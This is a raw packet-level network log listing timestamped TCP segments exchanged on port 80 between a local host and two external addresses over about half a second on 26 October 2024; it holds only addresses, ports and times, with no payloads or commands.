Oct 26, 2024 05:54:54.896867990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896886110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896908045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896910906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896944046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896954060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896986961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.897248983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.897294044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.897357941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.897392035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.897409916 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.897439003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.897455931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.897505999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.912755966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.912853003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913029909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913077116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913120985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913424969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913465977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913501978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913506985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913532019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913567066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913577080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913595915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913633108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913660049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913707018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913753986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913814068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913841963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913875103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913883924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.913927078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913954973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.913965940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.914144039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.914184093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.914187908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.914239883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.914268970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.914278984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.936484098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.936517000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.936553001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.936558008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.936583042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.936593056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.936593056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.936619043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.936630964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.936681032 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.955115080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.955146074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.955288887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.955297947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.955333948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.955344915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.998682976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.998718023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.998752117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.998753071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.998938084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.042819023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.042870998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.042905092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.042926073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.042937994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.042970896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.042987108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.052316904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.052440882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.052876949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.052931070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.052964926 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.052999973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053030968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053030968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053030968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053051949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053083897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053121090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053139925 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053157091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053164005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053206921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053225994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053299904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053319931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053333998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053340912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053380013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053399086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053431988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053447962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053468943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053519011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053570986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053574085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053606033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053622007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053641081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053653955 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053689957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053762913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053816080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053816080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053853035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053874969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053891897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.053900003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.053937912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.074219942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074273109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074311018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074314117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.074359894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.074580908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074640036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074671984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074692011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.074785948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074820995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074830055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.074853897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.074892998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.075018883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075048923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075083017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075093985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.075136900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075169086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075180054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.075203896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075239897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075247049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.075275898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075326920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.075392962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075422049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.075460911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.093218088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093327045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093362093 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093369007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.093369007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.093391895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093405008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.093426943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093432903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.093472004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.093472004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093511105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.093518972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.093586922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.116694927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.116738081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.116774082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.116808891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.116871119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.160031080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.160078049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.160116911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.160159111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.203928947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.204104900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.204119921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.204135895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.204150915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.204165936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.204169989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.204210043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.204231977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.209702969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.209741116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.209758043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.209765911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.209805965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.209805965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.209841013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.209856033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.209883928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.209897041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210015059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210031033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210058928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210076094 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210114002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210129976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210144997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210155964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210175991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210191011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210247993 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210292101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210293055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210306883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210335970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210350990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210413933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210454941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210470915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210486889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210516930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210532904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210555077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210570097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.210597992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.210613012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.235369921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.235704899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.235730886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.235734940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.235790014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.235841990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.235874891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.235908031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.235930920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236061096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236093998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236110926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236125946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236166000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236361027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236393929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236429930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236434937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236459017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236490965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236498117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236573935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236605883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236630917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236668110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236711025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.236718893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236747026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.236792088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.250065088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250179052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250211954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250262022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250303030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250313044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250348091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250380039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250413895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250446081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250493050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250525951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.250567913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.277967930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.278058052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.278090000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.278107882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.321260929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.321297884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.321305990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.321336031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.321389914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.365310907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.365472078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.365503073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.365518093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.365536928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.365571976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.365576982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.365607977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.365654945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.366571903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.366625071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.366660118 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.366693974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.366729021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.366734982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.366734982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.366734982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.366734982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.366781950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367269039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367299080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367341995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367341995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367424011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367460012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367518902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367568970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367603064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367607117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367607117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367607117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367607117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367643118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367652893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367688894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367718935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367752075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367785931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.367924929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367924929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367924929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367924929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.367924929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.396883965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.396928072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.396966934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.396996975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397006989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397044897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397053003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397082090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397135973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397144079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397165060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397222996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397222996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397253036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397300005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397305012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397334099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397367954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397376060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397416115 CEST	80	49742	185.215.113.16	192.168.2.4
